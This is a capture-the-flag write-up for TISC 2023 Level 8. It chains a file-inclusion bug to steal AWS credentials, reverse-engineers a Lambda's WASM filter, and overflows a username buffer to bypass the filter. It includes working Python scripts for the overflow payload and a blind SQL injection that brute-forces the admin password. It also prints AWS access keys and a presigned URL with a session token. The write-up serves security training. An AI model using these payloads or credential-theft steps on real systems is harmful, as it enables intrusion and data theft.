Level 8 - Blind SQL Injection

Domain(s): Web, RE, Pwn, Cloud

As part of the anti-PALINDROME task force, you find yourself face to face with another task. "We found this horribly made website on their web servers," your superior tells you. "It's probably just a trivial SQL injection vulnerability to extract the admin password. I'm expecting this to be done in about an hour." You ready your fingers on the keyboard, confident that you'll be able to deliver. http://chals.tisc23.ctf.sg:28471/

298B

db-init.sql

4KB

server.js

304B

Dockerfile

---

Opening the provided URL, we are shown a simple login page for a reminder application.

Before we try anything, let's take a look at the source code.

In the Dockerfile provided, we see that AWS credentials are copied from the host machine to the Docker container, seeing that the challenge is cloud related, this could be useful later on.

In server.js, we see an API endpoint that does something suspicious.

It uses the pug template library to render a local file that a user can specify in the request. This means that we have a potential LFI vulnerability. Since we know the location of the AWS credentials in the container, we can exfiltrate it with this.

In the login API endpoint in server.js, we see that a lambda function named craft_query is invoked as a way to filter any SQL injection attempts.

The lambda function returns an SQL query which gets run by the backend server.

With all of the information we have gathered, it seems that we are supposed to bypass this SQL injection filter to exfiltrate the flag in the admin's password.

Using the credentials we found earlier, we can enumerate the permissions of the AWS user. First, configure an AWS CLI profile.

aws configure --profile bs
# aws_access_key_id = AKIAQYDFBGMSQ542KJ5Z
# aws_secret_access_key = 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
# Default region name = ap-southeast-1

We can then get the username of the user associated with the credentials

aws sts get-caller-identity --profile bs

Since we know that the account can access Lambda functions, specifically craft_query, we can retrieve information about the function, including its code.

aws --profile bs lambda get-function --function-name craft_query

In the output of the above command, we see a URL that points to an S3 bucket that contains the code.

"Code": {
    "RepositoryType": "S3",
    "Location": "https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/051751498533/craft_query-b619071e-12b1-4bfb-95e0-5ffe297e1f88?versionId=PUc1EVK8OnxSoXFUWFv8n_aKH3tgV25M&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEMH%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLXNvdXRoZWFzdC0xIkcwRQIhAMk9Q5VnEo4%2BrbfKmzVrJTkvw2D5WywBLIQLgDmWuXTnAiAM0iKHJ%2BIUxpyglrkzv1RfEzPnbsXmr7cawVDr1hzV7yrJBQiq%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F8BEAQaDDI5NTMzODcwMzU4MyIM61WVC5hXIV%2F1kduIKp0F6BUVJ%2F4Fd1iF81GIYjTdFpdDcLwKYBGzSCJXjmsHWHDVeRAUpi2vPGA3j6Bvf6ZIcsotWAXUp762XC9y%2FJcAXBjqPu2m3acptYA9VkCfbOFFQgYR8e7C2G8lWw6zefS4Tvty0zFyhfy1yzBlSV7VpRSnF7FznOt3n0W3ibWeKv%2B3m2JFhcI61jAm%2FttY8jg5U60YHOh%2Bccu%2Bj2Vst1GnikYbOlS2CMuuJ%2FrTICGM14xWzSIP71nwquKEkYtzapKGExqGGxIh3u2qmgZYfcEXlu6COfpzU0FKHVJROHc8cjoiYYKmo19ldLbDxrnW7aBwvT8j3M0Ha5SdtHaG45D9DDf4yFfM0TwbFJWPvP93MvWLChGeS9eSbkuqonJdLOy5hgFn5ahS00jQqueWP8lO07PVkyOWuzEJvqGlBgwQcLwG2wB00qynrSxXivCZvVL9QCDUrMyoUNx0ShXcSZaXpKtXKhrn6jcOhMjsQkqn3m%2BwLQxQf1rfa32RCoZywj2Pu62PkrLoHqvyXTzZeiBgfmQCkDVsK6BBeMKEJ49rVoISM%2BmhMa0T4%2B4X3PUp4T3yG%2B4eSv%2BftfBQIBML%2Ff%2FNYlQOx2yVN0lNpnI7B6ZvfYptoPCr3E9nnkcSCnt0BHPxrYsuNhasCgoxU7xBE%2BHVV8s5mgELM7qQ8ozfphMdO84N20dYhiGzxVOImQOO6PbhdIRzYVTuAN8xtv%2BN4UUVSBx6%2FZXblDoqZALFEzQNQ2jsoirH2ftjlI%2Fe8w2avoc%2BsEN02mKS4Rl%2Bzf5GTsUuRln5stc3zhjz%2Bc0HIlrzexX9hlfqpse7rD1Pw3kE8%2BFZhc0FWHFwYvE%2BuvMs9wjt5EmMtjmtF3XL5K3ipz1j2WDs%2Bvim0ceOwdfbZyljMPyIoqgGOrEBLYlNiR6GvRH8Mk8OtG1Rxc823V1xekR02Btt8EuXkOh6%2BLdYYFSVWfxuXYt6bb0YDTe6xz3W8kk3sprOQdnC%2FNDhv%2FYTbkqc4zjesiO1lbForEoB26Grs9MsmZJCK1kIrq2rZoxMCKXZSLMiJXv8r8l0aiDqVSnnX%2BnRJRZ0j%2ByN%2FddgAPt7UqeOr2b6vv%2FVvwkJfjkpn4TFZ1wSEIjzFOt97nvRFWNopDy3j6kTWJTL&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20230918T190304Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAUJQ4O7LP44LBNKOR%2F20230918%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Signature=0b2f9f1c466dad785b73746b3d1f2a30641b46e9b8db7b9aaa770665b08e706f"
},

When we open this URL, we receive a zip archive with some JavaScript files and a WASM file.

The index.js file pulls site.js, which loads the CraftQuery function from site.wasm.

The output from tools like wasm2wat, wasm2c and wasm-decompile were quite difficult to understand to create an exploit. However, from some tests, it seemed that the craft_query function only accepted alphanumeric characters. This is likely where the Pwn comes into play.

After installing a WASM plugin for Ghidra, we can view the exported functions from site.wasm and look through the code to understand it better.

GitHub - nneonneo/ghidra-wasm-plugin: Ghidra Wasm plugin with disassembly and decompilation supportGitHub

After decompiling, looking through the code and renaming some variables and functions, this is roughly what craft_query does.

We can see that the check_password function takes in the password length (0x3b=59), and uses it to ensure that the buffer is not written out of.

However, the check_username function does not. This means that there is a buffer overflow vulnerability in the username input.

Something else that we should take note of is line 19.

uVar1 = (**(code **)((ulonglong)uStack12 * 4))(username_buffer,password_buffer);

This line uses the uStack12 variable and multiplies it by 4 to determine the function that is called, which in this case we know is is_blacklisted.

is_blacklisted runs a function (that I renamed is_valid) to check that the string provided is alphanumeric.

If the password contains non-alphanumeric characters, the function returns the blacklisted message, otherwise it calls the load_query function. The load_query function calls another function that essentially formats the string:

SELECT * FROM Users WHERE username = %s AND password = %s

Now we have found 3 things.

1. The username input is vulnerable to buffer overflow

2. The function called in craft_query is determined by the value of uStack12

3. is_blacklisted and load_query take in the same arguments

With this information, our goal is to use the buffer overflow vulnerability to change the value of uStack12, changing the offset to call the load_query function instead. And it just so happens that uStack12 is placed right after the username buffer on the stack.

Using the following code, we can test this theory.

import boto3
import json

session = boto3.Session(profile_name='bs')
aws_lambda = session.client('lambda')

def invoke_lambda(payload):
    payload = json.dumps(payload)
    response = aws_lambda.invoke(
        FunctionName='craft_query',
        InvocationType='RequestResponse',
        Payload=payload
    )
    print(response['Payload'].read())

def fill_string(string, length):
    return string + "A" * (length - len(string))


payload = {
    "username": fill_string("\" OR 1=1#", 68) + "\x02",
    "password": "B" * 20,  
}

invoke_lambda(payload)

This code writes an SQL injection payload into the username buffer and fills it with "A"s to fill the 68 byte-long buffer. It appends the 0x02 byte to change the value of uStack12 to 2, making the function offset 2*4=8.

With that, we can see that the lambda function returns the SQL-injected query and we can start exfiltrating the flag.

Write a brute-force script to carry out blind SQL injection on the User table to retrieve the admin's password, using the ORD function to make it case-sensitive.

import boto3
import json

session = boto3.Session(profile_name='bs')
aws_lambda = session.client('lambda')

def invoke_lambda(payload):
    payload = json.dumps(payload)
    response = aws_lambda.invoke(
        FunctionName='craft_query',
        InvocationType='RequestResponse',
        Payload=payload
    )
    print(response['Payload'].read())

def fill_string(string, length):
    return string + "A" * (length - len(string))

url = "http://chals.tisc23.ctf.sg:28471"

import requests
import string

def try_char(char):
    r = requests.post(f"{url}/api/login", data=payload)
    print(r.text)

acceptables = string.ascii_letters + string.digits + "_{}-!@$%^&*()"
solved = False

char = ""
flag = ""
while char != "}":
    for char in acceptables:
        asc = ord(char)
        payload = {
            "username": fill_string(f"admin\" AND ORD(SUBSTR(password,{len(flag)+1},1))={asc}#", 68) + "\x02",
            "password": "B" * 20,  
        }
        r = requests.post(f"{url}/api/login", data=payload)
        if "Welcome" in r.text:
            flag += char
            print("Found:" + flag)
            break
        else:
            pass

Run the script and wait for it to brute force all characters, and you should receive the full flag.

Flag: TISC{a1PhAb3t_0N1Y}